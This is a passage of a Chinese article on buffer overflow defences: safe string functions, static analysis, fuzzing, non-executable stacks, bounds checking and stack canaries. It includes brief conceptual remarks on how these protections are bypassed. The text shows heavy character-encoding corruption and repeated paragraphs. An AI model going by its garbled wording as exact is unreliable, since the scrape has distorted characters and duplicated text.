45、區(qū)溢出進行的攻擊。兩者在對抗緩沖區(qū)溢出攻擊方面互為補充,形成多層次的防御體系,但是兩者的出發(fā)點存在本質(zhì)不同?!邦A(yù)防”是從根本上避免緩沖區(qū)溢出問題的出現(xiàn)。3.1 給有漏洞的程序打補丁當有緩沖區(qū)溢出漏洞的程序的漏洞被公開后,及時給程序打上補丁,是最有效的對抗緩沖區(qū)溢出攻擊方法,因為我們受到的大部分緩沖區(qū)溢出攻擊都是利用已知的緩沖區(qū)溢出漏洞進行的。3.2 編寫安全的代碼由于C/C+語言的靈活性,導(dǎo)致類型的不安全,且其沒有內(nèi)在的數(shù)組和指針邊界檢查機制,所以我們使用時要格外小心。對于C中的極易產(chǎn)生緩沖溢出問題的函數(shù),如gets(),我們應(yīng)該從來不用它,就像Linux使用手冊里說的:“Never use

46、gets()”7,對于像strcpy()和strcat(), sprintf()這樣的函數(shù),我們應(yīng)該使用該函數(shù)的對應(yīng)安全函數(shù),如strncpy(), strncat(), snprintf()。通過正確的使用安全的字符串函數(shù),將會極大的減少C/C+語言開發(fā)的程序受到緩沖區(qū)溢出攻擊的可能性。使用類型安全的語言如Ada,Java、C#、Lisp可以有效減少我們使用C/C+時的安全風險,但是即使是類型安全的編程語言也無法提供絕對的安全,而且安全性與時間效率始終是對立量。在提供了安全的同時,安全編程語言也損失了執(zhí)行效率。3.3 靜態(tài)分析程序的靜態(tài)分析是源程序或二進制代碼,對程序進行靜態(tài)分析,我們可以檢

47、測出程序中的錯誤。最簡單的靜態(tài)分析,如通過Unix/Linux的grep命令,進行簡單的字符匹配查找,可以作為緩沖區(qū)溢出最簡單的靜態(tài)檢測,我們也可以利用grep進行詞法分析。當然,利用免費的開放源代碼安全工具進行靜態(tài)分析是一種更有效的的方法,如Application Defense在對整個程序進行自動分析后,可以檢測出相應(yīng)存在漏洞的文件,以及該文件存在的漏洞數(shù)。3.4 動態(tài)測試靜態(tài)分析無法檢測出所有緩沖區(qū)溢出問題,因而需要動態(tài)測試作為互補的檢測方法,增強對程序的安全檢測。目前,檢測緩沖區(qū)溢出的動態(tài)測試主要采用白盒測試方法,即在源程序中插裝檢測代碼實施檢測,如Purify8和FIST,還有一些測

48、試工具采用輸入檢測方法進行測試,如Fuzzing,通過外部提交大量隨機輸入數(shù)據(jù)給目標程序來發(fā)現(xiàn)漏洞。在靜態(tài)分析過程中,有些錯誤可以很容易被發(fā)現(xiàn);而通過從外部提交輸入數(shù)據(jù)給目標程序來發(fā)現(xiàn)漏洞,要困難得多。但在靜態(tài)分析過程中,如果想跟蹤每個潛在的錯誤并進行驗證,幾乎是不可能的,或者很容易失控,但從另一方面來說,F(xiàn)uzzer有時也會發(fā)現(xiàn)一些不太好重現(xiàn)的錯誤。3.5軟件開發(fā)過程中的防范策略發(fā)生緩沖區(qū)溢出的主要及各要素是:數(shù)組沒有邊界檢查而導(dǎo)致的緩沖區(qū)溢出;函數(shù)返回地址或函數(shù)指針被改變,使程序流程的改變成為可能;植入代碼被成功的執(zhí)行等等。所以針對這些要素,從技術(shù)上我們就可以采取一定的措施。(1)編寫正確

49、的代碼只要我們在所有拷貝數(shù)據(jù)的地方進行數(shù)據(jù)長度和有效性的檢查,確保目標緩沖區(qū)中數(shù)據(jù)不越界并有效,則就可以避免緩沖區(qū)溢出,更不可能使程序跳轉(zhuǎn)到惡意代碼上。但是諸如C/C+自身是一種不進行強類型和長度檢查的一種程序設(shè)計語言,而程序員在編寫代碼時由于開發(fā)速度和代碼的簡潔性,往往忽視了程序的健壯性,從而導(dǎo)致緩沖區(qū)溢出,因此我們必須從程序語言和系統(tǒng)結(jié)構(gòu)方面加強防范。很多不安全程序的出現(xiàn)是由于調(diào)用了一些不安全的庫函數(shù),這些庫函數(shù)往往沒有對數(shù)組邊界進行檢查。這些函數(shù)有strcpy()、sprintf()、strcat()等,所以一種簡單的方法是利用grep搜索源程序,找出對這些函數(shù)的調(diào)用,然后代以更安全的函

50、數(shù),如strncpy()替換strcpy()。進一步的查找可以是檢查更廣范圍的不安全操作,如在一個不定循環(huán)中對數(shù)組的賦值等??捎玫牧硪环N措施是漏洞探測。利用一些工具,人為隨機地產(chǎn)生一些緩沖區(qū)溢出來尋找代碼的安全漏洞。已有這方面的一些高級的查錯工具,如fault injection等。(2)緩沖區(qū)不可執(zhí)行通過使被攻擊程序的數(shù)據(jù)段地址空間不可執(zhí)行,從而使得攻擊者不可能執(zhí)行被植入被攻擊程序輸入緩沖區(qū)的代碼,這種技術(shù)被稱為緩沖區(qū)不可執(zhí)行技術(shù)。事實上,很多老的Unix系統(tǒng)都是這樣設(shè)計的,但是近來的Unix和MS Windows系統(tǒng)為實現(xiàn)更好的性能和功能,往往在數(shù)據(jù)段中動態(tài)地放入可執(zhí)行的代碼。所以為了保持

51、程序的兼容性不可能使得所有程序的數(shù)據(jù)段不可執(zhí)行。但是我們可以設(shè)定堆棧數(shù)據(jù)段不可執(zhí)行,這樣就可以最大限度地保證了程序的兼容性。Linux和Solaris都發(fā)布了有關(guān)這方面的內(nèi)核補丁。因為幾乎沒有任何合法的程序會在堆棧中存放代碼,這種做法幾乎不產(chǎn)生任何兼容性問題。通過使被攻擊程序的數(shù)據(jù)段地址空間不可執(zhí)行,從而使得攻擊者不可能執(zhí)行被殖入被攻擊程序輸入緩沖區(qū)的代碼,這種技術(shù)被稱為非執(zhí)行的緩沖區(qū)技術(shù)。事實上,很多老的Unix系統(tǒng)都是這樣設(shè)計的,但是近來的Unix和MS Windows系統(tǒng)由于實現(xiàn)更好的性能和功能,往往在在數(shù)據(jù)段中動態(tài)地放入可執(zhí)行的代碼。所以為了保持程序的兼容性不可能使得所有程序的數(shù)據(jù)段不

52、可執(zhí)行。Linux和Solaris也發(fā)布了有關(guān)這方面的內(nèi)核補丁。因為幾乎沒有任何合法的程序會在堆棧中存放代碼,這種做法幾乎不產(chǎn)生任何兼容性問題,除了在Linux中的兩個特例,這時可執(zhí)行的代碼必須被放入堆棧中:a.信號傳遞: Linux通過向進程堆棧釋放代碼然后引發(fā)中斷來執(zhí)行在堆棧中的代碼來實現(xiàn)向進程發(fā)送Unix信號。非執(zhí)行緩沖區(qū)的補丁在發(fā)送信號的時候是允許緩沖區(qū)可執(zhí)行的。b.GCC的在線重用:研究發(fā)現(xiàn)gcc在堆棧區(qū)里放置了可執(zhí)行的代碼作為在線重用之用。然而,關(guān)閉這個功能并不產(chǎn)生任何問題,只有部分功能似乎不能使用。非執(zhí)行堆棧的保護可以有效地對付把代碼植入自動變量的緩沖區(qū)溢出攻擊,而對于其他形式的

53、攻擊則沒有效果。通過引用一個駐留的程序的指針,就可以跳過這種保護措施。其他的攻擊可以采用把代碼殖入堆或者靜態(tài)數(shù)據(jù)段中來跳過保護。(3)改進C語言函數(shù)庫C語言中存在緩沖區(qū)溢出攻擊隱患的系統(tǒng)函數(shù)有很多。例如gets(),sprintf(),strcpy(),strcat(),fscanf(),scanf(),vsprintf()等??梢蚤_發(fā)出更安全的封裝了若干已知易受堆棧溢出攻擊的庫函數(shù)。修改后的庫函數(shù)實現(xiàn)了原有功能,但在某種程度上可以確保任一緩沖區(qū)溢出都被控制在現(xiàn)有堆棧幀之內(nèi)。(4)數(shù)組邊界檢查可以說緩沖區(qū)溢出的根本原因是沒有數(shù)組邊界檢查,當數(shù)組被溢出的時候,一些關(guān)鍵的數(shù)據(jù)就有可能被修改,比如函

54、數(shù)返回地址、過程幀指針、函數(shù)指針等。同時,攻擊代碼也可以被植入。因此,對數(shù)組進行邊界檢查,使超長代碼不可能植入,這樣就完全沒有了緩沖區(qū)溢出攻擊產(chǎn)生的條件。只要數(shù)組不能被溢出,溢出攻擊就無從談起。為了實現(xiàn)數(shù)組邊界檢查,則所有的對數(shù)組的讀寫操作都應(yīng)當被檢查,以確保對數(shù)組的操作在正確的范圍內(nèi)。最直接的方法是檢查所有的數(shù)組操作,但是會使性能下降很多,通常可以采用一些優(yōu)化的技術(shù)來減少檢查的次數(shù)。在目前的緩沖區(qū)溢出漏洞檢測技術(shù)中,數(shù)組和指針邊界檢查是一種非常有效的方法。只要數(shù)組不能被溢出,溢出攻擊也就無從談起。為了實現(xiàn)數(shù)組邊界檢查,則所有的對數(shù)組的讀寫操作都應(yīng)當被檢查以確保對數(shù)組的操作在正確的范圍內(nèi)。最直

55、接的方法是檢查所有的數(shù)組操作,但是通??梢詠碛靡恍﹥?yōu)化的技術(shù)來減少檢查的次數(shù)。目前有以下的兩種檢查方法:Compaq C編譯器和JonesKelly:C的數(shù)組邊界檢查。Compaq C編譯器Compaq公司為Alpha CPU開發(fā)的C編譯器支持有限度的邊界檢查(使用-check_bounds參數(shù))。這些限制是:只有顯示的數(shù)組引用才被檢查,比如“a3”會被檢查,而“*(a+3)則不會。由于所有的C數(shù)組在傳送的時候是指針傳遞的,所以傳遞給函數(shù)的的數(shù)組不會被檢查。帶有危險性的庫函數(shù)如strcpy不會在編譯的時候進行邊界檢查,即便是指定了邊界檢查。在C語言中利用指針進行數(shù)組操作和傳遞是非常頻繁的,因此

56、這種局限性是非常嚴重的。通常這種邊界檢查用來程序的查錯,而且不能保證不發(fā)生緩沖區(qū)溢出的漏洞。 JonesKelly:C的數(shù)組邊界檢查Richard Jones和Paul Kelly開發(fā)了一個gcc的補丁,用來實現(xiàn)對C程序完全的數(shù)組邊界檢查。由于沒有改變指針的含義,所以被編譯的程序和其他的gcc模塊具有很好的兼容性。更進一步的是,他們由此從沒有指針的表達式中導(dǎo)出了一個“基”指針,然后通過檢查這個基指針來偵測表達式的結(jié)果是否在容許的范圍之內(nèi)。當然,這樣付出的性能上的代價是巨大的:對于一個頻繁使用指針的程序,如向量乘法,將由于指針的頻繁使用而使速度慢30倍。(5)使堆棧向高地址方向增長緩沖區(qū)溢出的一

57、個重要要素是植入的代碼成功地被執(zhí)行。最常見的是被植入的代碼放在堆棧區(qū)中。通過修改操作系統(tǒng)核心,在核心層引入保護機制,限制代碼在堆棧區(qū)的執(zhí)行,這樣,緩沖區(qū)溢出攻擊就不可能成功。到目前為止,我們討論利用函數(shù)返回地址控制程序轉(zhuǎn)移到攻擊代碼的攻擊方法時,有一個基本的前提,那就是當堆棧被壓入數(shù)據(jù)時,棧頂向低地址方向增長,只有這樣,緩沖區(qū)溢出時才可能覆蓋低地址處的函數(shù)返回地址指針,從而控制程序轉(zhuǎn)移到攻擊代碼。如果我們使用的機器堆棧壓入數(shù)據(jù)時向高地址方向前進,那么無論緩沖區(qū)如何溢出,都不可能覆蓋低地址處的函數(shù)返回地址指針,也就避免了緩沖區(qū)溢出攻擊。但是這種方法仍然無法防范利用堆和靜態(tài)數(shù)據(jù)段的緩沖區(qū)進行溢出的

58、攻擊。(6)程序指針完整性檢查程序指針完整性檢查是針對上述緩沖區(qū)溢出的另一個要素阻止由于函數(shù)返回地址或函數(shù)指針的改變而導(dǎo)致的程序執(zhí)行流程的改變。它的原理是在每次在程序指針被引用之前先檢測該指針是否已被惡意改動過,如果發(fā)現(xiàn)被改動,程序就拒絕執(zhí)行。因此,即使一個攻擊者成功地改變程序的指針,由于系統(tǒng)事先檢測到了指針的改變,因此這個指針不會被使用。與數(shù)組邊界檢查相比,這種方法不能解決所有的緩沖區(qū)溢出問題。但這種方法在性能上有很大的優(yōu)勢,而且兼容性也很好。程序指針完整性檢查大體上有三個研究方向:第一,手寫的堆棧檢測;第二,堆棧保護;第三,保護指針。在手寫的堆棧檢測中會介紹Snarskii為FreeBSD

59、開發(fā)了一套定制的能通過監(jiān)測cpu堆棧來確定緩沖區(qū)溢出的libc。在堆棧保護中會介紹我們自己的堆棧保護方法所開發(fā)的一個編譯器,它能夠在函數(shù)調(diào)用的時候自動生成完整性檢測代碼。最后在保護指針中介紹正在開發(fā)中的指針保護方法,這種方法類似于堆棧保護,它提供對所有程序指針的完整性的保護。1)手寫的堆棧監(jiān)測Snarskii為FreeBSD開發(fā)了一套定制的能通過監(jiān)測cpu堆棧來確定緩沖區(qū)溢出的libc。這個應(yīng)用完全用手工匯編寫的,而且只保護libc中的當前有效紀錄函數(shù)。這個應(yīng)用達到了設(shè)計要求,對于基于libc庫函數(shù)的攻擊具有很好的防衛(wèi),但是不能防衛(wèi)其它方式的攻擊。2)堆棧保護:編譯器生成的有效紀錄完整性檢測堆

60、棧保護是一種提供程序指針完整性檢查的編譯器技術(shù),通過檢查函數(shù)活動紀錄中的返回地址來實現(xiàn)。堆棧保護作為gcc的一個小的補丁,在每個函數(shù)中,加入了函數(shù)建立和銷毀的代碼。加入的函數(shù)建立代碼實際上在堆棧中函數(shù)返回地址后面加了一些附加的字節(jié),如圖2示。而在函數(shù)返回時,首先檢查這個附加的字節(jié)是否被改動過。如果發(fā)生過緩沖區(qū)溢出的攻擊,那么這種攻擊很容易在函數(shù)返回前被檢測到。但是,如果攻擊者預(yù)見到這些附加字節(jié)的存在,并且能在溢出過程中同樣地制造他們,那么他就能成功地跳過堆棧保護的檢測。通常,我們有如下的兩種方案對付這種欺騙:a終止符號:利用在C語言中的終止符號如0(null),CR,LF,-1(EOF)等不能

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論